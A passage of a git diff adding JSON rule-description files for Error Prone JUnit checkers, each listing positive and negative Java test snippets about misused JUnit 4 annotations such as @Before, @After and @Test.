org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.junit.BeforeClass;\n import org.junit.AfterClass;\n\n @RunWith(JUnit4.class)\n public class Test {\n @BeforeClass\n // BUG: Diagnostic contains: BeforeClass can only be applied to static methods.\n public void shouldDoSomething() {}\n\n @AfterClass\n // BUG: Diagnostic contains: AfterClass can only be applied to static methods.\n public void shouldDoSomethingElse() {}\n\n @AfterClass\n @BeforeClass\n // BUG: Diagnostic contains: AfterClass and BeforeClass can only be applied to\n public void shouldDoSomethingElseBlah() {}\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.junit.BeforeClass;\n import org.junit.AfterClass;\n\n @RunWith(JUnit4.class)\n public class Test {\n @BeforeClass\n public static void shouldDoSomething() {}\n\n @AfterClass\n public static void shouldDoSomethingElse() {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4ClassUsedInJUnit3.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4ClassUsedInJUnit3.json new file mode 100644 index 0000000..e238698 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4ClassUsedInJUnit3.json @@ -0,0 +1,118 @@ +{ + "name": "JUnit4ClassUsedInJUnit3", + "language": "java", + "description": "Some JUnit4 construct cannot be used in a JUnit3 context. Convert your class to JUnit4 style to use them.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 81, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "negative_regular_junit3", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import junit.framework.TestCase;\n\n public class Foo extends TestCase {\n public void testName1() {\n System.out.println(\"here\");\n }\n\n public void testName2() {}\n }" + }, + { + "description": "negative_assume_in_junit4", + "expected-problems": null, + "expected-linenumbers": [ + 52 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.junit.Assume;\n import org.junit.Test;\n\n @RunWith(JUnit4.class)\n public class Foo {\n @Test\n public void testOne() {\n Assume.assumeTrue(true);\n }\n }" + }, + { + "description": "testOne", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "" + }, + { + "description": "negative_annotation_in_junit4", + "expected-problems": null, + "expected-linenumbers": [ + 74 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.junit.Rule;\n import org.junit.rules.TemporaryFolder;\n import org.junit.Test;\n import org.junit.Ignore;\n\n @RunWith(JUnit4.class)\n public class Foo {\n @Rule public TemporaryFolder folder = new TemporaryFolder();\n\n @Ignore\n @Test\n public void testOne() {}\n\n @Test\n public void testTwo() {}\n }" + }, + { + "description": "testOne", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "" + }, + { + "description": "testTwo", + "expected-problems": null, + "expected-linenumbers": [ + 95 + ], + "code": "" + }, + { + "description": "positive_assume_in_test", + "expected-problems": null, + "expected-linenumbers": [ + 102 + ], + "code": "import junit.framework.TestCase;\n import org.junit.Test;\n import org.junit.Assume;\n\n public class Foo extends TestCase {\n public void testName1() {\n System.out.println(\"here\");\n }\n\n public void testName2() {\n // BUG: Diagnostic contains: Assume\n Assume.assumeTrue(true);\n }\n\n public void testName3() {}\n }" + }, + { + "description": "positive_assume_in_setUp", + "expected-problems": null, + "expected-linenumbers": [ + 128 + ], + "code": "import junit.framework.TestCase;\n import org.junit.Test;\n import org.junit.Assume;\n\n public class Foo extends TestCase {\n @Override\n public void setUp() {\n // BUG: Diagnostic contains: Assume\n Assume.assumeTrue(true);\n }\n\n public void testName1() {}\n }" + }, + { + "description": "positive_assume_in_tear_down", + "expected-problems": null, + "expected-linenumbers": [ + 151 + ], + "code": "import junit.framework.TestCase;\n import org.junit.Test;\n import org.junit.Assume;\n\n public class Foo extends TestCase {\n @Override\n public void tearDown() {\n // BUG: Diagnostic contains: Assume\n Assume.assumeTrue(true);\n }\n\n public void testName1() {}\n }" + }, + { + "description": "positive_static_assume_in_test", + "expected-problems": null, + "expected-linenumbers": [ + 174 + ], + "code": "import junit.framework.TestCase;\n import org.junit.Test;\n import static org.junit.Assume.assumeTrue;\n\n public class Foo extends TestCase {\n public void testName1() {\n System.out.println(\"here\");\n }\n\n public void testName2() {\n // BUG: Diagnostic contains: Assume\n assumeTrue(true);\n }\n\n public void testName3() {}\n }" + }, + { + "description": "positive_ignore_on_test", + "expected-problems": null, + "expected-linenumbers": [ + 200 + ], + "code": "import junit.framework.TestCase;\n import org.junit.Ignore;\n\n public class Foo extends TestCase {\n public void testName1() {}\n\n // BUG: Diagnostic contains: @Ignore\n @Ignore\n public void testName2() {}\n }" + }, + { + "description": "positive_ignore_on_class", + "expected-problems": null, + "expected-linenumbers": [ + 220 + ], + "code": "import junit.framework.TestCase;\n import org.junit.Ignore;\n\n // BUG: Diagnostic contains: @Ignore\n @Ignore\n public class Foo extends TestCase {\n public void testName1() {}\n\n public void testName2() {}\n }" + }, + { + "description": "positive_rule_in_junit3", + "expected-problems": null, + "expected-linenumbers": [ + 240 + ], + "code": "import junit.framework.TestCase;\n import org.junit.Rule;\n import org.junit.rules.TemporaryFolder;\n\n public class Foo extends TestCase {\n // BUG: Diagnostic contains: @Rule\n @Rule public TemporaryFolder folder = new TemporaryFolder();\n\n public void testName1() {}\n\n public void testName2() {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4EmptyMethods.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4EmptyMethods.json new file mode 100644 index 0000000..b5e3455 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4EmptyMethods.json @@ -0,0 +1,94 @@ +{ + "name": "JUnit4EmptyMethods", + "language": "java", + "description": "Empty JUnit4 @Before, @After, @BeforeClass, and @AfterClass methods are unnecessary and should be deleted.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 64, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "emptyMethods", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import org.junit.After;\n import org.junit.AfterClass;\n import org.junit.Before;\n import org.junit.BeforeClass;\n import org.junit.Test;\n\n class FooTest {\n @Before\n public void setUp() {}\n\n @BeforeClass\n public void setUpClass() {}\n\n @After\n public void after() {}\n\n @AfterClass\n public void afterClass() {}\n\n @Test\n public void emptyTest() {}\n }\n \n\n import org.junit.After;\n import org.junit.AfterClass;\n import org.junit.Before;\n import org.junit.BeforeClass;\n import org.junit.Test;\n\n class FooTest {\n @Test\n public void emptyTest() {}\n }" + }, + { + "description": "emptyTest", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "" + }, + { + "description": "emptyTest", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "" + }, + { + "description": "emptyMethodsWithComments", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "import org.junit.After;\n import org.junit.AfterClass;\n import org.junit.Before;\n import org.junit.BeforeClass;\n import org.junit.Test;\n\n class FooTest {\n @Before\n public void setUp() {\n // comments are ignored\n }\n\n @BeforeClass\n public void setUpClass() {\n // comments are ignored\n }\n\n @After\n public void after() {\n // comments are ignored\n }\n\n @AfterClass\n public void afterClass() {\n // comments are ignored\n }\n\n @Test\n public void emptyTest() {\n // comments are ignored\n }\n }" + }, + { + "description": "emptyTest", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "" + }, + { + "description": "nonEmptyMethods", + "expected-problems": null, + "expected-linenumbers": [ + 120 + ], + "code": "import static org.junit.Assert.assertEquals;\n\n import org.junit.After;\n import org.junit.AfterClass;\n import org.junit.Before;\n import org.junit.BeforeClass;\n import org.junit.Test;\n\n class FooTest {\n @Before\n public void setUp() {\n System.out.println(\"setUp()\");\n }\n\n @BeforeClass\n public void setUpClass() {\n System.out.println(\"setUpClass()\");\n }\n\n @After\n public void after() {\n System.out.println(\"after()\");\n }\n\n @AfterClass\n public void afterClass() {\n System.out.println(\"afterClass()\");\n }\n\n @Test\n public void nonEmptyTest() {\n assertEquals(1, 1);\n }\n }" + }, + { + "description": "nonEmptyTest", + "expected-problems": null, + "expected-linenumbers": [ + 155 + ], + "code": "" + }, + { + "description": "abstractMethods", + "expected-problems": null, + "expected-linenumbers": [ + 165 + ], + "code": "import org.junit.After;\n import org.junit.AfterClass;\n import org.junit.Before;\n import org.junit.BeforeClass;\n import org.junit.Test;\n\n abstract class FooTest {\n @Before\n public abstract void setUp();\n\n @BeforeClass\n public abstract void setUpClass();\n\n @After\n public abstract void after();\n\n @AfterClass\n public abstract void afterClass();\n\n @Test\n public abstract void emptyTest();\n }" + }, + { + "description": "overriddenMethod", + "expected-problems": null, + "expected-linenumbers": [ + 198 + ], + "code": "class FooBase {\n public void setUp() {\n System.out.println(\"parent setUp()\");\n }\n }\n \n\n import org.junit.Before;\n\n class FooTest extends FooBase {\n @Before\n public void setUp() {\n // don't delete this because it's an override!\n }\n }" + }, + { + "description": "overriddenMethod", + "expected-problems": null, + "expected-linenumbers": [ + 198 + ], + "code": "class FooBase {\n public void setUp() {\n System.out.println(\"parent setUp()\");\n }\n }\n \n\n import org.junit.Before;\n\n class FooTest extends FooBase {\n @Before\n public void setUp() {\n // don't delete this because it's an override!\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4SetUpNotRun.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4SetUpNotRun.json new file mode 100644 index 0000000..84f8b76 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4SetUpNotRun.json @@ -0,0 +1,62 @@ +{ + "name": "JUnit4SetUpNotRun", + "language": "java", + "description": "setUp() method will not be run; please add JUnit's @Before annotation", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 2, + "apis": 3, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 39 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport org.junit.After;\nimport org.junit.AfterClass;\nimport org.junit.runner.RunWith;\nimport org.junit.runners.JUnit4;\n\n/** Basic class with an untagged setUp method */\n@RunWith(JUnit4.class)\npublic class JUnit4SetUpNotRunPositiveCases {\n // BUG: Diagnostic contains: @Before\n public void setUp() {}\n}\n\n@RunWith(JUnit4.class)\nclass J4PositiveCase2 {\n // BUG: Diagnostic contains: @Before\n protected void setUp() {}\n}\n\n/** Replace @After with @Before */\n@RunWith(JUnit4.class)\nclass J4AfterToBefore {\n // BUG: Diagnostic contains: @Before\n @After\n protected void setUp() {}\n}\n\n/** Replace @AfterClass with @BeforeClass */\n@RunWith(JUnit4.class)\nclass J4AfterClassToBeforeClass {\n // BUG: Diagnostic contains: @BeforeClass\n @AfterClass\n protected void setUp() {}\n}\n\nclass BaseTestClass {\n void setUp() {}\n}\n\n/**\n * This is the ambiguous case that we want the developer to make the determination as to whether to\n * rename setUp()\n */\n@RunWith(JUnit4.class)\nclass J4Inherit extends BaseTestClass {\n // BUG: Diagnostic contains: @Before\n protected void setUp() {}\n}\n\n/**\n * setUp() method overrides parent method with @Override, but that method isn't @Before in the\n * superclass\n */\n@RunWith(JUnit4.class)\nclass J4OverriddenSetUp extends BaseTestClass {\n @Override\n // BUG: Diagnostic contains: @Before\n protected void setUp() {}\n}\n\n@RunWith(JUnit4.class)\nclass J4OverriddenSetUpPublic extends BaseTestClass {\n @Override\n // BUG: Diagnostic contains: @Before\n public void setUp() {}\n}" + }, + { + "description": "positiveCase_customBefore", + "expected-problems": null, + "expected-linenumbers": [ + 116 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n /** Slightly funky test case with a custom Before annotation */\n @RunWith(JUnit4.class)\n public class JUnit4SetUpNotRunPositiveCaseCustomBefore {\n // This will compile-fail and suggest the import of org.junit.Before\n // BUG: Diagnostic contains: @Before\n @Before\n public void setUp() {}\n }\n\n @interface Before {}\\" + }, + { + "description": "customBefore_refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 141 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class Foo {\n @Before\n public void initMocks() {}\n\n @Before\n protected void badVisibility() {}\n }\n \n\n import org.junit.Before;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class Foo {\n @Before\n public void initMocks() {}\n\n @Before\n public void badVisibility() {}\n }" + }, + { + "description": "positiveCase_customBeforeDifferentName", + "expected-problems": null, + "expected-linenumbers": [ + 180 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n /** Test case with a custom Before annotation. */\n @RunWith(JUnit4.class)\n public class JUnit4SetUpNotRunPositiveCaseCustomBefore2 {\n // This will compile-fail and suggest the import of org.junit.Before\n // BUG: Diagnostic contains: @Before\n @Before\n public void initMocks() {}\n\n // BUG: Diagnostic contains: @Before\n @Before\n protected void badVisibility() {}\n }\n\n @interface Before {}\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 209 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport junit.framework.TestCase;\nimport org.junit.Before;\nimport org.junit.internal.runners.JUnit38ClassRunner;\nimport org.junit.runner.RunWith;\nimport org.junit.runners.JUnit4;\n\n/** Not a JUnit 4 test (no @RunWith annotation on the class). */\npublic class JUnit4SetUpNotRunNegativeCases {\n public void setUp() {}\n}\n\n@RunWith(JUnit38ClassRunner.class)\nclass J4SetUpWrongRunnerType {\n public void setUp() {}\n}\n\n@RunWith(JUnit4.class)\nclass J4SetUpCorrectlyDone {\n @Before\n public void setUp() {}\n}\n\n/** May be a JUnit 3 test -- has @RunWith annotation on the class but also extends TestCase. */\n@RunWith(JUnit4.class)\nclass J4SetUpJUnit3Class extends TestCase {\n public void setUp() {}\n}\n\n/** setUp() method is private and wouldn't be run by JUnit3 */\n@RunWith(JUnit4.class)\nclass J4PrivateSetUp {\n private void setUp() {}\n}\n\n/**\n * setUp() method is package-local. You couldn't have a JUnit3 test class with a package-private\n * setUp() method (narrowing scope from protected to package)\n */\n@RunWith(JUnit4.class)\nclass J4PackageLocalSetUp {\n void setUp() {}\n}\n\n@RunWith(JUnit4.class)\nclass J4SetUpNonVoidReturnType {\n int setUp() {\n return 42;\n }\n}\n\n/** setUp() has parameters */\n@RunWith(JUnit4.class)\nclass J4SetUpWithParameters {\n public void setUp(int ignored) {}\n\n public void setUp(boolean ignored) {}\n\n public void setUp(String ignored) {}\n}\n\n/** setUp() method is static and wouldn't be run by JUnit3 */\n@RunWith(JUnit4.class)\nclass J4StaticSetUp {\n public static void setUp() {}\n}\n\nabstract class SetUpAnnotatedBaseClass {\n @Before\n public void setUp() {}\n}\n\n/** setUp() method overrides parent method with @Before. It will be run by JUnit4BlockRunner */\n@RunWith(JUnit4.class)\nclass J4SetUpExtendsAnnotatedMethod extends SetUpAnnotatedBaseClass {\n public void setUp() {}\n}\\" + }, + { + "description": "noBeforeOnClasspath", + "expected-problems": null, + "expected-linenumbers": [ + 302 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4TearDownNotRun.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4TearDownNotRun.json new file mode 100644 index 0000000..64f108a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4TearDownNotRun.json @@ -0,0 +1,46 @@ +{ + "name": "JUnit4TearDownNotRun", + "language": "java", + "description": "tearDown() method will not be run; please add JUnit's @After annotation", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 2, + "apis": 3, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import org.junit.Before;\n import org.junit.BeforeClass;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n /**\n * @author glorioso@google.com\n */\n @RunWith(JUnit4.class)\n public class JUnit4TearDownNotRunPositiveCases {\n // BUG: Diagnostic contains: @After\n public void tearDown() {}\n }\n\n @RunWith(JUnit4.class)\n class JUnit4TearDownNotRunPositiveCase2 {\n // BUG: Diagnostic contains: @After\n protected void tearDown() {}\n }\n\n @RunWith(JUnit4.class)\n class J4BeforeToAfter {\n // BUG: Diagnostic contains: @After\n @Before\n protected void tearDown() {}\n }\n\n @RunWith(JUnit4.class)\n class J4BeforeClassToAfterClass {\n // BUG: Diagnostic contains: @AfterClass\n @BeforeClass\n protected void tearDown() {}\n }\n\n class TearDownUnannotatedBaseClass {\n void tearDown() {}\n }\n\n @RunWith(JUnit4.class)\n class JUnit4TearDownNotRunPositiveCase3 extends TearDownUnannotatedBaseClass {\n // BUG: Diagnostic contains: @After\n protected void tearDown() {}\n }\n\n @RunWith(JUnit4.class)\n class J4TearDownHasOverride extends TearDownUnannotatedBaseClass {\n @Override\n // BUG: Diagnostic contains: @After\n protected void tearDown() {}\n }\n\n @RunWith(JUnit4.class)\n class J4TearDownHasPublicOverride extends TearDownUnannotatedBaseClass {\n @Override\n // BUG: Diagnostic contains: @After\n public void tearDown() {}\n }" + }, + { + "description": "positiveCase_customAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 102 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n /** Slightly funky test case with a custom After annotation) */\n @RunWith(JUnit4.class)\n public class JUnit4TearDownNotRunPositiveCaseCustomAfter {\n // This will compile-fail and suggest the import of org.junit.After\n // BUG: Diagnostic contains: @After\n @After\n public void tearDown() {}\n }\n\n @interface After {}\\" + }, + { + "description": "positiveCase_customAnnotationDifferentName", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n /** Test case with a custom After annotation. */\n @RunWith(JUnit4.class)\n public class JUnit4TearDownNotRunPositiveCaseCustomAfter2 {\n // This will compile-fail and suggest the import of org.junit.After\n // BUG: Diagnostic contains: @After\n @After\n public void tidyUp() {}\n }\n\n @interface After {}\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 152 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junit.framework.TestCase;\n import org.junit.After;\n import org.junit.internal.runners.JUnit38ClassRunner;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n /** Not a JUnit 4 class (no @RunWith annotation on the class). */\n public class JUnit4TearDownNotRunNegativeCases {\n public void tearDown() {}\n }\n\n @RunWith(JUnit38ClassRunner.class)\n class J4TearDownDifferentRunner {\n public void tearDown() {}\n }\n\n @RunWith(JUnit4.class)\n class J4TearDownHasAfter {\n @After\n public void tearDown() {}\n }\n\n @RunWith(JUnit4.class)\n class J4TearDownExtendsTestCase extends TestCase {\n public void tearDown() {}\n }\n\n @RunWith(JUnit4.class)\n class J4TearDownPrivateTearDown {\n private void tearDown() {}\n }\n\n @RunWith(JUnit4.class)\n class J4TearDownPackageLocal {\n void tearDown() {}\n }\n\n @RunWith(JUnit4.class)\n class J4TearDownNonVoidReturnType {\n int tearDown() {\n return 42;\n }\n }\n\n @RunWith(JUnit4.class)\n class J4TearDownTearDownHasParameters {\n public void tearDown(int ignored) {}\n\n public void tearDown(boolean ignored) {}\n\n public void tearDown(String ignored) {}\n }\n\n @RunWith(JUnit4.class)\n class J4TearDownStaticTearDown {\n public static void tearDown() {}\n }\n\n abstract class TearDownAnnotatedBaseClass {\n @After\n public void tearDown() {}\n }\n\n @RunWith(JUnit4.class)\n class J4TearDownInheritsFromAnnotatedMethod extends TearDownAnnotatedBaseClass {\n public void tearDown() {}\n }\n\n @RunWith(JUnit4.class)\n class J4TearDownInheritsFromAnnotatedMethod2 extends TearDownAnnotatedBaseClass {\n @After\n public void tearDown() {}\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4TestNotRun.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4TestNotRun.json new file mode 100644 index 0000000..8b09407 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4TestNotRun.json @@ -0,0 +1,558 @@ +{ + "name": "JUnit4TestNotRun", + "language": "java", + "description": "This looks like a test method but is not run; please add @Test and @Ignore, or, if this is a helper method, reduce its visibility.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 238, + "branches": 25, + "apis": 2, + "test": [ + { + "description": "positiveCase1", + "expected-problems": null, + "expected-linenumbers": [ + 38 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n /**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n @RunWith(JUnit4.class)\n public class JUnit4TestNotRunPositiveCase1 {\n // BUG: Diagnostic contains: @Test\n public void testThisIsATest() {}\n\n // BUG: Diagnostic contains: @Test\n public static void testThisIsAStaticTest() {}\n }\\" + }, + { + "description": "testThisIsATest", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "" + }, + { + "description": "positiveCase2", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import org.junit.runner.RunWith;\n import org.mockito.junit.MockitoJUnitRunner;\n\n /**\n * Mockito test runner that uses JUnit 4.\n *\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n @RunWith(MockitoJUnitRunner.class)\n public class JUnit4TestNotRunPositiveCase2 {\n // BUG: Diagnostic contains: @Test\n public void testThisIsATest() {}\n\n // BUG: Diagnostic contains: @Test\n public static void testThisIsAStaticTest() {}\n }\\" + }, + { + "description": "positiveCase2", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import org.junit.runner.RunWith;\n import org.mockito.junit.MockitoJUnitRunner;\n\n /**\n * Mockito test runner that uses JUnit 4.\n *\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n @RunWith(MockitoJUnitRunner.class)\n public class JUnit4TestNotRunPositiveCase2 {\n // BUG: Diagnostic contains: @Test\n public void testThisIsATest() {}\n\n // BUG: Diagnostic contains: @Test\n public static void testThisIsAStaticTest() {}\n }\\" + }, + { + "description": "testThisIsATest", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "" + }, + { + "description": "containsVerifyAsIdentifier_shouldBeTest", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "import static org.mockito.Mockito.verify;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class Test {\n // BUG: Diagnostic contains: @Test\n public void shouldDoSomething() {\n verify(null);\n }\n }" + }, + { + "description": "containsVerifyAsIdentifier_shouldBeTest", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "import static org.mockito.Mockito.verify;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class Test {\n // BUG: Diagnostic contains: @Test\n public void shouldDoSomething() {\n verify(null);\n }\n }" + }, + { + "description": "shouldDoSomething", + "expected-problems": null, + "expected-linenumbers": [ + 104 + ], + "code": "" + }, + { + "description": "containsQualifiedVerify_shouldBeTest", + "expected-problems": null, + "expected-linenumbers": [ + 113 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.mockito.Mockito;\n\n @RunWith(JUnit4.class)\n public class Test {\n // BUG: Diagnostic contains: @Test\n public void shouldDoSomething() {\n Mockito.verify(null);\n }\n }" + }, + { + "description": "shouldDoSomething", + "expected-problems": null, + "expected-linenumbers": [ + 125 + ], + "code": "" + }, + { + "description": "containsAssertAsIdentifier_shouldBeTest", + "expected-problems": null, + "expected-linenumbers": [ + 134 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import static com.google.common.truth.Truth.assertThat;\n import java.util.Collections;\n\n @RunWith(JUnit4.class)\n public class Test {\n // BUG: Diagnostic contains: @Test\n public void shouldDoSomething() {\n assertThat(2).isEqualTo(2);\n }\n\n // BUG: Diagnostic contains: @Test\n public void shouldDoTwoThings() {\n Collections.sort(Collections.emptyList());\n assertThat(3).isEqualTo(3);\n }\n }" + }, + { + "description": "shouldDoSomething", + "expected-problems": null, + "expected-linenumbers": [ + 147 + ], + "code": "" + }, + { + "description": "shouldDoTwoThings", + "expected-problems": null, + "expected-linenumbers": [ + 152 + ], + "code": "" + }, + { + "description": "containsQualifiedAssert_shouldBeTest", + "expected-problems": null, + "expected-linenumbers": [ + 162 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import com.google.common.truth.Truth;\n\n @RunWith(JUnit4.class)\n public class Test {\n // BUG: Diagnostic contains: @Test\n public void shouldDoSomething() {\n Truth.assertThat(1).isEqualTo(1);\n }\n }" + }, + { + "description": "shouldDoSomething", + "expected-problems": null, + "expected-linenumbers": [ + 174 + ], + "code": "" + }, + { + "description": "containsCheckAsIdentifier_shouldBeTest", + "expected-problems": null, + "expected-linenumbers": [ + 183 + ], + "code": "import static com.google.common.base.Preconditions.checkState;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class Test {\n // BUG: Diagnostic contains: @Test\n public void shouldDoSomething() {\n checkState(false);\n }\n }" + }, + { + "description": "shouldDoSomething", + "expected-problems": null, + "expected-linenumbers": [ + 195 + ], + "code": "" + }, + { + "description": "containsQualifiedCheck_shouldBeTest", + "expected-problems": null, + "expected-linenumbers": [ + 204 + ], + "code": "import com.google.common.base.Preconditions;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class Test {\n // BUG: Diagnostic contains: @Test\n public void shouldDoSomething() {\n Preconditions.checkState(false);\n }\n }" + }, + { + "description": "shouldDoSomething", + "expected-problems": null, + "expected-linenumbers": [ + 216 + ], + "code": "" + }, + { + "description": "containsFailAsIdentifier_shouldBeTest", + "expected-problems": null, + "expected-linenumbers": [ + 225 + ], + "code": "import static org.junit.Assert.fail;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class Test {\n // BUG: Diagnostic contains: @Test\n public void shouldDoSomething() {\n fail();\n }\n }" + }, + { + "description": "shouldDoSomething", + "expected-problems": null, + "expected-linenumbers": [ + 237 + ], + "code": "" + }, + { + "description": "containsQualifiedFail_shouldBeTest", + "expected-problems": null, + "expected-linenumbers": [ + 246 + ], + "code": "import org.junit.Assert;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class Test {\n // BUG: Diagnostic contains: @Test\n public void shouldDoSomething() {\n Assert.fail();\n }\n }" + }, + { + "description": "shouldDoSomething", + "expected-problems": null, + "expected-linenumbers": [ + 258 + ], + "code": "" + }, + { + "description": "containsExpectAsIdentifier_shouldBeTest", + "expected-problems": null, + "expected-linenumbers": [ + 267 + ], + "code": "import static org.junit.Assert.assertThrows;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class Test {\n // BUG: Diagnostic contains: @Test\n public void shouldDoSomething() {\n assertThrows(null, null);\n }\n }" + }, + { + "description": "shouldDoSomething", + "expected-problems": null, + "expected-linenumbers": [ + 279 + ], + "code": "" + }, + { + "description": "containsQualifiedExpect_shouldBeTest", + "expected-problems": null, + "expected-linenumbers": [ + 288 + ], + "code": "import org.junit.Assert;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class Test {\n // BUG: Diagnostic contains: @Test\n public void shouldDoSomething() {\n Assert.assertThrows(null, null);\n }\n }" + }, + { + "description": "shouldDoSomething", + "expected-problems": null, + "expected-linenumbers": [ + 300 + ], + "code": "" + }, + { + "description": "noAssertions_isATestAnyway", + "expected-problems": null, + "expected-linenumbers": [ + 309 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import java.util.Collections;\n\n @RunWith(JUnit4.class)\n public class Test {\n // BUG: Diagnostic contains:\n public void shouldDoSomething() {\n Collections.sort(Collections.emptyList());\n }\n }" + }, + { + "description": "staticMethodWithTestKeyword_notATest", + "expected-problems": null, + "expected-linenumbers": [ + 330 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import java.util.Collections;\n\n @RunWith(JUnit4.class)\n public class Test {\n private static void assertDoesSomething() {}\n\n public static void shouldDoSomething() {\n assertDoesSomething();\n }\n }" + }, + { + "description": "hasOtherAnnotation_notATest", + "expected-problems": null, + "expected-linenumbers": [ + 352 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class Test {\n @Deprecated\n public void shouldDoSomething() {\n verify();\n }\n\n private void verify() {}\n }" + }, + { + "description": "hasOtherAnnotationAndNamedTest_shouldBeTest", + "expected-problems": null, + 